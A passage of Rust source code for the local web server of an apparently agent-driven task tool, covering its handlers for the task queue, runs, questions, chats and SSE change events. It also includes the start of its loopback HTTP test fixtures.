1820 let id = resolve_run(&ui.runs, &id)?;
1821 let state = read_run(&ui.runs, &id)?;
1822 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1823 return Err(ApiError::conflict(format!(
1824 "run {} is being worked on by a live daemon right now",
1825 state.short()
1826 )));
1827 }
1828 Ok((id, state))
1829 })
1830 .await?
1831 };
1832 let removed = crate::graph::fold_run(&mut state, true)
1833 .await
1834 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1835 Ok(Json(FoldView {
1836 run: id,
1837 removed_count: removed.len(),
1838 removed,
1839 }))
1840}
1841
1842#[derive(Debug, Serialize)]
1844struct FoldView {
1845 run: String,
1846 removed: Vec<String>,
1848 removed_count: usize,
1849}
1850
1851async fn run_resume(
1870 State(ui): State<Arc<Ui>>,
1871 Path(id): Path<String>,
1872) -> ApiResult<(StatusCode, Json<RunSummary>)> {
1873 let (id, state) = {
1874 let ui = Arc::clone(&ui);
1875 blocking(move || {
1876 let id = resolve_run(&ui.runs, &id)?;
1877 let state = read_run(&ui.runs, &id)?;
1878 Ok((id, state))
1879 })
1880 .await?
1881 };
1882 if !state.status.resumable() {
1883 return Err(ApiError::conflict(format!(
1884 "run {} is `{}`, and only a stalled or blocked run can be resumed",
1885 state.short(),
1886 status_word(state.status)
1887 )));
1888 }
1889 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
1890 return Err(ApiError::conflict(format!(
1891 "the loop is running run {} right now; magi runs one competition at \
1892 a time so the agent quota is not spent twice over. Stop the loop \
1893 first.",
1894 crate::run::short_of(&work.run)
1895 )));
1896 }
1897 let _resume = ui.begin_resume(&id)?;
1898
1899 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
1902 let run = id.clone();
1903 tokio::spawn(async move {
1904 let _resume = _resume;
1905 match crate::graph::Runner::resume(&run) {
1906 Ok(mut runner) => {
1907 if let Err(e) = runner.execute().await {
1908 tracing::warn!("resume of run {run} stopped: {e:#}");
1909 }
1910 }
1911 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
1914 }
1915 });
1916 Ok((StatusCode::ACCEPTED, Json(queued)))
1917}
1918
1919async fn run_report(
1920 State(ui): State<Arc<Ui>>,
1921 Path(id): Path<String>,
1922) -> ApiResult<impl IntoResponse> {
1923 let text = blocking(move || {
1924 let id = resolve_run(&ui.runs, &id)?;
1925 Ok(report::run(&read_run(&ui.runs, &id)?))
1929 })
1930 .await?;
1931 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
1932}
1933
1934#[derive(Debug, Serialize)]
1940struct TaskView {
1941 #[serde(flatten)]
1942 task: Task,
1943 source_label: String,
1944 status_str: &'static str,
1945 instruction_md: Vec<md::Node>,
1949}
1950
1951impl From<Task> for TaskView {
1952 fn from(task: Task) -> Self {
1953 Self {
1954 source_label: task.source.label(),
1955 status_str: task.status.as_str(),
1956 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
1957 task,
1958 }
1959 }
1960}
1961
1962#[derive(Debug, Default, Deserialize)]
1965#[serde(default)]
1966struct ReposQuery {
1967 refresh: u8,
1968}
1969
1970async fn repos_list(
1978 State(ui): State<Arc<Ui>>,
1979 Query(q): Query<ReposQuery>,
1980) -> ApiResult<Json<Vec<repos::Repo>>> {
1981 let refresh = q.refresh != 0;
1982 blocking(move || {
1983 let (cfg, _) = Config::discover(&ui.repo, None)?;
1984 Ok(Json(ui.repos_cache.list(
1985 &cfg.repos.roots,
1986 Duration::from_secs(cfg.repos.scan_ttl),
1987 refresh,
1988 )))
1989 })
1990 .await
1991}
1992
1993async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
1994 blocking(move || {
1995 Ok(Json(
1996 ui.queue.list().into_iter().map(TaskView::from).collect(),
1997 ))
1998 })
1999 .await
2000}
2001
2002#[derive(Debug, Default, Deserialize)]
2008#[serde(default)]
2009struct NewTask {
2010 instruction: String,
2011 title: Option<String>,
2012 repo: Option<PathBuf>,
2013 priority: Option<i32>,
2014}
2015
2016async fn queue_post(
2017 State(ui): State<Arc<Ui>>,
2018 body: std::result::Result<Json<NewTask>, JsonRejection>,
2019) -> ApiResult<impl IntoResponse> {
2020 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2023 if body.instruction.trim().is_empty() {
2024 return Err(ApiError::bad_request(
2025 "instruction must not be blank: an empty task would burn a whole \
2026 competition on nothing",
2027 ));
2028 }
2029 let view = blocking(move || {
2030 let title = body
2031 .title
2032 .filter(|t| !t.trim().is_empty())
2033 .unwrap_or_else(|| title_from(&body.instruction, TITLE_MAX));
2034 let repo = body.repo.unwrap_or_else(|| ui.repo.clone());
2035 let mut task = Task::new(title, body.instruction, repo, Source::Human);
2036 task.priority = body.priority.unwrap_or(0);
2037 ui.queue.put(&mut task)?;
2038 Ok(TaskView::from(task))
2039 })
2040 .await?;
2041 Ok((StatusCode::CREATED, Json(view)))
2042}
2043
2044async fn queue_hold(
2045 State(ui): State<Arc<Ui>>,
2046 Path(id): Path<String>,
2047) -> ApiResult<Json<TaskView>> {
2048 mutate(ui, id, Task::hold).await
2049}
2050
2051async fn queue_release(
2052 State(ui): State<Arc<Ui>>,
2053 Path(id): Path<String>,
2054) -> ApiResult<Json<TaskView>> {
2055 mutate(ui, id, Task::release).await
2056}
2057
2058async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2066 blocking(move || {
2067 let id = resolve_task(&ui.queue, &id)?;
2068 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2069 ui.queue
2070 .remove(&id, in_flight)
2071 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2072 Ok(StatusCode::NO_CONTENT)
2073 })
2074 .await
2075}
2076
2077async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
2083 blocking(move || {
2084 let id = resolve_task(&ui.queue, &id)?;
2085 let _claim = ui.queue.claim(&id).map_err(|e| {
2090 ApiError::conflict(format!(
2091 "{e:#} - a daemon is running this task, so it cannot be \
2092 changed from here yet"
2093 ))
2094 })?;
2095 let mut task = ui.queue.get(&id)?;
2096 change(&mut task);
2097 ui.queue.put(&mut task)?;
2098 Ok(Json(TaskView::from(task)))
2099 })
2100 .await
2101}
2102
2103async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2111 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2112 tokio::spawn(async move {
2113 let mut ticker = tokio::time::interval(POLL);
2114 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2115 loop {
2116 ticker.tick().await;
2119 let state = Arc::clone(&ui);
2120 let revisions = tokio::task::spawn_blocking(move || {
2121 (
2122 state.queue.revision(),
2123 runs_revision(&state.runs),
2124 state.questions.revision(),
2125 state.chats.revision(),
2126 state.lock_loop().rev,
2130 )
2131 })
2132 .await;
2133 let Ok(revisions) = revisions else { break };
2134 if last == Some(revisions) {
2135 continue;
2136 }
2137 last = Some(revisions);
2138 let payload = serde_json::json!({
2139 "queue_rev": revisions.0,
2140 "runs_rev": revisions.1,
2141 "questions_rev": revisions.2,
2142 "chats_rev": revisions.3,
2143 "loop_rev": revisions.4,
2144 });
2145 let Ok(event) = Event::default().event("change").json_data(payload) else {
2147 break;
2148 };
2149 if tx.send(event).await.is_err() {
2150 break;
2151 }
2152 }
2153 });
2154 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2155 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2156}
2157
2158fn runs_revision(runs: &FsPath) -> u64 {
2165 use std::hash::{Hash as _, Hasher as _};
2166
2167 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2168 .into_iter()
2169 .flatten()
2170 .flatten()
2171 .filter_map(|e| {
2172 let path = e.path().join("run.json");
2173 let mtime = path
2174 .metadata()
2175 .ok()?
2176 .modified()
2177 .ok()?
2178 .duration_since(std::time::UNIX_EPOCH)
2179 .ok()?
2180 .as_millis() as u64;
2181 let id = e.file_name().to_string_lossy().into_owned();
2182 Some((id, mtime))
2183 })
2184 .collect();
2185
2186 if entries.is_empty() {
2187 return 0;
2188 }
2189
2190 entries.sort_unstable();
2191 let mut hasher = std::hash::DefaultHasher::new();
2192 for (id, mtime) in &entries {
2193 id.hash(&mut hasher);
2194 mtime.hash(&mut hasher);
2195 }
2196 let h = hasher.finish();
2197 if h == 0 { 1 } else { h }
2198}
2199
2200fn run_ids(runs: &FsPath) -> Vec<String> {
2206 let mut ids: Vec<String> = std::fs::read_dir(runs)
2207 .into_iter()
2208 .flatten()
2209 .flatten()
2210 .filter(|e| e.path().join("run.json").is_file())
2211 .map(|e| e.file_name().to_string_lossy().into_owned())
2212 .collect();
2213 ids.sort_unstable_by(|a, b| b.cmp(a));
2215 ids
2216}
2217
2218fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2220 let path = runs.join(id).join("run.json");
2221 let body =
2222 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2223 let state: RunState =
2224 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2225 if state.schema != run::SCHEMA {
2226 anyhow::bail!(
2227 "run {} was written by a different magi (schema {}, this build speaks {})",
2228 state.id,
2229 state.schema,
2230 run::SCHEMA
2231 );
2232 }
2233 Ok(state)
2234}
2235
2236#[must_use]
2244pub fn runs_unreadable(runs: &FsPath) -> usize {
2245 run_ids(runs)
2246 .into_iter()
2247 .filter(|id| read_run(runs, id).is_err())
2248 .count()
2249}
2250
2251fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2253 if runs.join(id).join("run.json").is_file() {
2254 return Ok(id.to_owned());
2255 }
2256 pick(run_ids(runs), id, "run")
2257}
2258
2259fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2261 if queue.path_of(id).is_file() {
2262 return Ok(id.to_owned());
2263 }
2264 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2265}
2266
2267#[derive(Debug, Serialize)]
2278struct QuestionView {
2279 #[serde(flatten)]
2280 question: Question,
2281 detail_md: Vec<md::Node>,
2282}
2283
2284impl From<Question> for QuestionView {
2285 fn from(question: Question) -> Self {
2286 let base = md::ImageBase::QuestionPanel {
2287 id: question.id.clone(),
2288 };
2289 Self {
2290 detail_md: md::to_nodes(&question.detail, &base),
2291 question,
2292 }
2293 }
2294}
2295
2296async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2302 blocking(move || {
2303 Ok(Json(
2304 ui.questions
2305 .list()
2306 .into_iter()
2307 .map(QuestionView::from)
2308 .collect(),
2309 ))
2310 })
2311 .await
2312}
2313
2314#[derive(Debug, Default, Deserialize)]
2320#[serde(default, deny_unknown_fields)]
2321struct NewAnswer {
2322 choice: Option<String>,
2323 text: Option<String>,
2324}
2325
2326async fn question_answer(
2327 State(ui): State<Arc<Ui>>,
2328 Path(id): Path<String>,
2329 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2330) -> ApiResult<Json<QuestionView>> {
2331 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2332 let answer = match (body.choice, body.text) {
2333 (Some(c), None) => Answer::Choice(c),
2334 (None, Some(t)) => Answer::Text(t),
2335 (Some(_), Some(_)) => {
2336 return Err(ApiError::bad_request(
2337 "send either `choice` or `text`, not both",
2338 ));
2339 }
2340 (None, None) => {
2341 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2342 }
2343 };
2344
2345 blocking(move || {
2346 let id = resolve_question(&ui.questions, &id)?;
2347 let mut q = ui
2348 .questions
2349 .get(&id)
2350 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2351 if !q.status.open() {
2352 return Err(ApiError::conflict(format!(
2356 "question {} is already {}",
2357 q.short(),
2358 q.status.as_str()
2359 )));
2360 }
2361 q.answer(answer).map_err(ApiError::bad_request_from)?;
2365 ui.questions.put(&mut q)?;
2366 Ok(Json(QuestionView::from(q)))
2367 })
2368 .await
2369}
2370
2371fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2373 if store.path_of(id).is_file() {
2374 return Ok(id.to_owned());
2375 }
2376 pick(
2377 store.list().into_iter().map(|q| q.id).collect(),
2378 id,
2379 "question",
2380 )
2381}
2382
2383async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2398 blocking(move || {
2399 let id = resolve_question(&ui.questions, &id)?;
2400 let Some(html) = ui.questions.panel_html(&id) else {
2401 return Err(ApiError::not_found(format!("question {id} has no panel")));
2402 };
2403 Ok(panel_response(
2404 "text/html; charset=utf-8",
2405 false,
2406 html.into_bytes(),
2407 ))
2408 })
2409 .await
2410}
2411
2412async fn question_asset(
2440 State(ui): State<Arc<Ui>>,
2441 Path((id, name)): Path<(String, String)>,
2442) -> ApiResult<Response> {
2443 if !crate::ask::valid_asset_name(&name) {
2446 return Err(ApiError::bad_request(format!(
2447 "`{name}` is not a usable asset name"
2448 )));
2449 }
2450 blocking(move || {
2451 let id = resolve_question(&ui.questions, &id)?;
2452 let asset = ui
2453 .questions
2454 .panel_asset(&id, &name)
2455 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2456 let Some(bytes) = asset else {
2457 return Err(ApiError::not_found(format!(
2458 "question {id} has no asset `{name}`"
2459 )));
2460 };
2461 Ok(panel_response(
2462 asset_content_type(&name),
2463 is_svg(&name),
2464 bytes,
2465 ))
2466 })
2467 .await
2468}
2469
2470fn asset_content_type(name: &str) -> &'static str {
2483 match extension(name).as_deref() {
2484 Some("png") => "image/png",
2485 Some("jpg" | "jpeg") => "image/jpeg",
2486 Some("gif") => "image/gif",
2487 Some("webp") => "image/webp",
2488 Some("svg") => "image/svg+xml",
2489 Some("css") => "text/css; charset=utf-8",
2490 Some("txt") => "text/plain; charset=utf-8",
2491 _ => "application/octet-stream",
2492 }
2493}
2494
2495fn is_svg(name: &str) -> bool {
2498 extension(name).as_deref() == Some("svg")
2499}
2500
2501fn extension(name: &str) -> Option<String> {
2503 name.rsplit_once('.')
2504 .map(|(_, ext)| ext.to_ascii_lowercase())
2505}
2506
2507fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2524 let mut res = (
2525 [
2526 (header::CONTENT_TYPE, content_type),
2527 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2528 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2529 (header::REFERRER_POLICY, "no-referrer"),
2530 ],
2531 body,
2532 )
2533 .into_response();
2534 if download {
2535 res.headers_mut().insert(
2536 header::CONTENT_DISPOSITION,
2537 HeaderValue::from_static("attachment"),
2538 );
2539 }
2540 res
2541}
2542
2543#[derive(Debug, Serialize)]
2552struct ChatView {
2553 #[serde(flatten)]
2554 chat: Chat,
2555 turn_bodies_md: Vec<Vec<md::Node>>,
2556 draft_md: Option<Vec<md::Node>>,
2557}
2558
2559impl From<Chat> for ChatView {
2560 fn from(chat: Chat) -> Self {
2561 let turn_bodies_md = chat
2562 .turns
2563 .iter()
2564 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2565 .collect();
2566 let draft_md = chat
2567 .draft
2568 .as_deref()
2569 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2570 Self {
2571 turn_bodies_md,
2572 draft_md,
2573 chat,
2574 }
2575 }
2576}
2577
2578async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2586 blocking(move || {
2587 Ok(Json(
2588 ui.chats.list().into_iter().map(ChatView::from).collect(),
2589 ))
2590 })
2591 .await
2592}
2593
2594async fn chat_detail(
2595 State(ui): State<Arc<Ui>>,
2596 Path(id): Path<String>,
2597) -> ApiResult<Json<ChatView>> {
2598 blocking(move || {
2599 let id = resolve_chat(&ui.chats, &id)?;
2600 Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2601 })
2602 .await
2603}
2604
2605#[derive(Debug, Default, Deserialize)]
2616#[serde(default)]
2617struct NewChat {
2618 idea: String,
2619 agent: Option<String>,
2620 repo: Option<PathBuf>,
2621 from: Option<String>,
2622}
2623
2624async fn chat_post(
2633 State(ui): State<Arc<Ui>>,
2634 body: std::result::Result<Json<NewChat>, JsonRejection>,
2635) -> ApiResult<impl IntoResponse> {
2636 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2637 if body.idea.trim().is_empty() {
2638 return Err(ApiError::bad_request(
2639 "an interview needs something to interview about",
2640 ));
2641 }
2642
2643 let from = {
2647 let ui = Arc::clone(&ui);
2648 let from_id = body.from.clone();
2649 blocking(move || match from_id {
2650 None => Ok(None),
2651 Some(id) => {
2652 let resolved = resolve_chat(&ui.chats, &id)?;
2653 Ok(Some(ui.chats.get(&resolved)?))
2654 }
2655 })
2656 .await?
2657 };
2658
2659 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2663 let cfg = config_for(&repo).await?;
2664 let chat = chat::start(
2665 &ui.chats,
2666 &cfg,
2667 repo,
2668 &body.idea,
2669 body.agent.as_deref(),
2670 from.as_ref(),
2671 )
2672 .await
2673 .map_err(ApiError::from)?;
2674 Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2675}
2676
2677#[derive(Debug, Default, Deserialize)]
2679#[serde(default, deny_unknown_fields)]
2680struct NewTurn {
2681 text: String,
2682}
2683
2684async fn chat_say(
2710 State(ui): State<Arc<Ui>>,
2711 Path(id): Path<String>,
2712 body: std::result::Result<Json<NewTurn>, JsonRejection>,
2713) -> ApiResult<(StatusCode, Json<ChatView>)> {
2714 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2715 if body.text.trim().is_empty() {
2716 return Err(ApiError::bad_request("say something"));
2717 }
2718
2719 let id = {
2720 let ui = Arc::clone(&ui);
2721 let asked = id.clone();
2722 blocking(move || resolve_chat(&ui.chats, &asked)).await?
2723 };
2724 let _turn = ui.begin_turn(&id)?;
2728
2729 let (chat, cfg) = {
2730 let ui = Arc::clone(&ui);
2731 let id = id.clone();
2732 blocking(move || {
2733 let chat = ui.chats.get(&id)?;
2734 let (cfg, _) = Config::discover(&chat.repo, None)?;
2735 Ok((chat, cfg))
2736 })
2737 .await?
2738 };
2739
2740 let chats = ui.chats.clone();
2755 let text = {
2756 let mut chat = chat.clone();
2757 let chats = chats.clone();
2758 let said = body.text.clone();
2759 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2760 };
2761 let mut chat = {
2764 let ui = Arc::clone(&ui);
2765 let id = id.clone();
2766 blocking(move || Ok(ui.chats.get(&id)?)).await?
2767 };
2768 let queued = chat.clone();
2769 tokio::spawn(async move {
2770 let _turn = _turn;
2771 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2772 tracing::warn!("chat {id} turn failed: {e:#}");
2775 }
2776 });
2777
2778 Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2782}
2783
2784#[derive(Debug, Default, Deserialize)]
2786#[serde(default, deny_unknown_fields)]
2787struct FileDraft {
2788 priority: i32,
2789}
2790
2791async fn chat_file(
2798 State(ui): State<Arc<Ui>>,
2799 Path(id): Path<String>,
2800 body: std::result::Result<Json<FileDraft>, JsonRejection>,
2801) -> ApiResult<Json<serde_json::Value>> {
2802 let body = match body {
2807 Ok(Json(body)) => body,
2808 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2809 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2810 };
2811
2812 blocking(move || {
2813 let id = resolve_chat(&ui.chats, &id)?;
2814 let mut chat = ui.chats.get(&id)?;
2815 if let Err(problems) = chat::draft_problems(&chat) {
2820 return Err(ApiError::bad_request_with(
2821 "the draft is not fileable yet",
2822 problems,
2823 ));
2824 }
2825 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2826 Ok(Json(serde_json::json!({ "task": task })))
2827 })
2828 .await
2829}
2830
2831fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2833 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2834}
2835
2836async fn config_for(repo: &FsPath) -> ApiResult<Config> {
2844 let repo = repo.to_path_buf();
2845 blocking(move || {
2846 let (cfg, _) = Config::discover(&repo, None)?;
2847 Ok(cfg)
2848 })
2849 .await
2850}
2851
2852fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
2858 let mut hits = ids
2859 .into_iter()
2860 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
2861 match (hits.next(), hits.next()) {
2862 (Some(one), None) => Ok(one),
2863 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
2864 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
2865 "`{prefix}` matches more than one {what}, including {a} and {b}"
2866 ))),
2867 }
2868}
2869
2870#[cfg(test)]
2871mod tests {
2872 use pretty_assertions::assert_eq;
2873 use serde_json::Value;
2874 use tempfile::TempDir;
2875 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
2876
2877 use super::*;
2878 use crate::config::Config;
2879 use crate::queue::TaskStatus;
2880
2881 struct Fixture {
2887 home: TempDir,
2888 addr: SocketAddr,
2889 }
2890
2891 impl Fixture {
2892 async fn start() -> Self {
2893 Self::with_loop(launch_idle).await
2894 }
2895
2896 async fn with_loop(launch: Launch) -> Self {
2898 let home = TempDir::new().expect("temp home");
2899 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
2900 Self { home, addr }
2901 }
2902
2903 async fn with_repo(repo: PathBuf) -> Self {
2907 let home = TempDir::new().expect("temp home");
2908 let addr = Self::serve(home.path(), repo, launch_idle).await;
2909 Self { home, addr }
2910 }
2911
2912 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
2913 let queue = Queue::at(home.join("queue"));
2914 let runs = home.join("runs");
2915 std::fs::create_dir_all(&runs).expect("runs dir");
2916 let ui = Ui::new(
2917 queue,
2918 Questions::at(home.join("questions")),
2919 Chats::at(home.join("chats")),
2920 runs,
2921 home.to_path_buf(),
2922 repo,
2923 )
2924 .with_launch(launch);
2925 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
2926 .await
2927 .expect("bind loopback");
2928 let addr = listener.local_addr().expect("local addr");
2929 tokio::spawn(async move {
2930 let _ = axum::serve(listener, ui.router()).await;
2931 });
2932 addr
2933 }
2934
2935 fn queue(&self) -> Queue {
2936 Queue::at(self.home.path().join("queue"))
2937 }
2938
2939 fn questions(&self) -> Questions {
2940 Questions::at(self.home.path().join("questions"))
2941 }
2942
2943 fn chats(&self) -> Chats {
2944 Chats::at(self.home.path().join("chats"))
2945 }
2946
2947 fn runs(&self) -> PathBuf {
2948 self.home.path().join("runs")
2949 }
2950
2951 async fn get(&self, path: &str) -> Res {
2952 request(self.addr, "GET", path, None).await
2953 }
2954
2955 async fn head(&self, path: &str) -> Res {
2960 request(self.addr, "HEAD", path, None).await
2961 }
2962
2963 async fn post(&self, path: &str, body: Option<&str>) -> Res {
2964 request(self.addr, "POST", path, body).await
2965 }
2966
2967 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
2968 request_with(self.addr, "GET", path, None, extra).await
2969 }
2970
2971 async fn delete(&self, path: &str) -> Res {
2972 request(self.addr, "DELETE", path, None).await
2973 }
2974 }
2975
2976 struct Res {
2977 status: u16,
2978 headers: String,
2979 head: String,
2984 body: String,
2985 bytes: Vec<u8>,
2989 }
2990
2991 impl Res {
2992 fn json(&self) -> Value {
2993 serde_json::from_str(&self.body)
2994 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
2995 }
2996
2997 fn header(&self, name: &str) -> Option<&str> {
2999 self.head.lines().find_map(|line| {
3000 let (key, value) = line.split_once(':')?;
3001 key.trim()
3002 .eq_ignore_ascii_case(name)
3003 .then(|| value.trim_start().trim_end_matches('\r'))
3004 })
3005 }
3006 }
3007
3008 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3011 request_with(addr, method, path, body, &[]).await
3012 }
3013
3014 async fn request_with(
3018 addr: SocketAddr,
3019 method: &str,
3020 path: &str,
3021 body: Option<&str>,
3022 extra: &[(&str, &str)],
3023 ) -> Res {
3024 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3025 for (name, value) in extra {
3026 head.push_str(&format!("{name}: {value}\r\n"));
3027 }
3028 if let Some(body) = body {
3029 head.push_str("Content-Type: application/json\r\n");
3030 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3031 }
3032 head.push_str("\r\n");
3033 if let Some(body) = body {
3034 head.push_str(body);
3035 }
3036 let mut socket = tokio::net::TcpStream::connect(addr)
3037 .await
3038 .expect("connect to the test server");
3039 socket
3040 .write_all(head.as_bytes())
3041 .await
3042 .expect("write request");
3043 let mut raw = Vec::new();
3044 socket.read_to_end(&mut raw).await.expect("read response");
3045 let split = raw
3048 .windows(4)
3049 .position(|w| w == b"\r\n\r\n")
3050 .expect("a header block");
3051 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3052 let bytes = raw[split + 4..].to_vec();
3053 let status = head
3054 .lines()
3055 .next()
3056 .and_then(|line| line.split_whitespace().nth(1))
3057 .and_then(|code| code.parse().ok())
3058 .expect("a status line");
3059 Res {
3060 status,
3061 headers: head.to_lowercase(),
3062 head,
3063 body: String::from_utf8_lossy(&bytes).into_owned(),
3064 bytes,
3065 }
3066 }
3067
3068 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3070 let mut state = RunState::new(
3071 PathBuf::from("/repo/magi"),
3072 "main".to_owned(),
3073 "0123456789abcdef".to_owned(),
3074 "Add a web UI\n\nMobile first.".to_owned(),
3075 Config::default(),
3076 );
3077 state.id = id.to_owned();
3078 state.status = status;
3079 let dir = runs.join(id);
3080 std::fs::create_dir_all(&dir).expect("run dir");
3081 std::fs::write(
3082 dir.join("run.json"),
3083 serde_json::to_string_pretty(&state).expect("serialize run"),
3084 )
3085 .expect("write run.json");
3086 }
3087
3088 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3089 let body = serde_json::json!({
3090 "schema": 1,
3091 "pid": 4242,
3092 "started_at": Timestamp::now().to_string(),
3093 "updated_at": updated_at.to_string(),
3094 "idle": false,
3095 "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3096 "completed": 7,
3097 "polls": 143,
3098 });
3099 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3100 }
3101
3102 fn launch_idle(
3112 _opts: daemon::Opts,
3113 stop: daemon::Stop,
3114 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3115 Box::pin(async move {
3116 while !stop.stopped() {
3117 tokio::time::sleep(Duration::from_millis(2)).await;
3118 }
3119 Ok(())
3120 })
3121 }
3122
3123 fn launch_broken(
3126 _opts: daemon::Opts,
3127 _stop: daemon::Stop,
3128 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3129 Box::pin(async {
3130 Err(anyhow::anyhow!(
3131 "publish the daemon status file: read-only file system"
3132 ))
3133 })
3134 }
3135
3136 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3143 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3144
3145 fn launch_knocking_on_the_way_out(
3152 _opts: daemon::Opts,
3153 stop: daemon::Stop,
3154 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3155 Box::pin(async move {
3156 while !stop.stopped() {
3157 tokio::time::sleep(Duration::from_millis(2)).await;
3158 }
3159 let addr = PARK_KNOCK
3160 .lock()
3161 .expect("park knock")
3162 .expect("the test set an address");
3163 let heard = request(addr, "GET", "/api/health", None).await.status;
3164 *PARK_HEARD.lock().expect("park heard") = Some(heard);
3165 Ok(())
3166 })
3167 }
3168
3169 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3177 for _ in 0..200 {
3178 let view = fx.get("/api/loop").await.json();
3179 if want(&view) {
3180 return view;
3181 }
3182 tokio::time::sleep(Duration::from_millis(10)).await;
3183 }
3184 panic!(
3185 "the loop never settled: {}",
3186 fx.get("/api/loop").await.json()
3187 );
3188 }
3189
3190 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3192 let store = fx.questions();
3193 let mut q = Question::new(
3194 "20260902-000000-beef".to_owned(),
3195 "implement".to_owned(),
3196 "impl-A".to_owned(),
3197 summary.to_owned(),
3198 "because it matters".to_owned(),
3199 choices.iter().map(|c| (*c).to_owned()).collect(),
3200 );
3201 store.put(&mut q).expect("put question");
3202 q.id
3203 }
3204
3205 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3211 let store = fx.questions();
3212 let mut q = Question::new(
3213 "20260902-000000-beef".to_owned(),
3214 "land".to_owned(),
3215 "fix".to_owned(),
3216 "Merge this?".to_owned(),
3217 "the diff is in the panel".to_owned(),
3218 vec!["merge".to_owned(), "hold".to_owned()],
3219 );
3220 let staging = fx.home.path().join("staging");
3223 std::fs::create_dir_all(&staging).expect("staging dir");
3224 let sources: Vec<PathBuf> = assets
3225 .iter()
3226 .map(|(name, bytes)| {
3227 let path = staging.join(name);
3228 std::fs::write(&path, bytes).expect("write staged asset");
3229 path
3230 })
3231 .collect();
3232 store
3233 .put_panel(&mut q, html, &sources)
3234 .expect("write the panel");
3235 store.put(&mut q).expect("put question");
3236 q.id
3237 }
3238
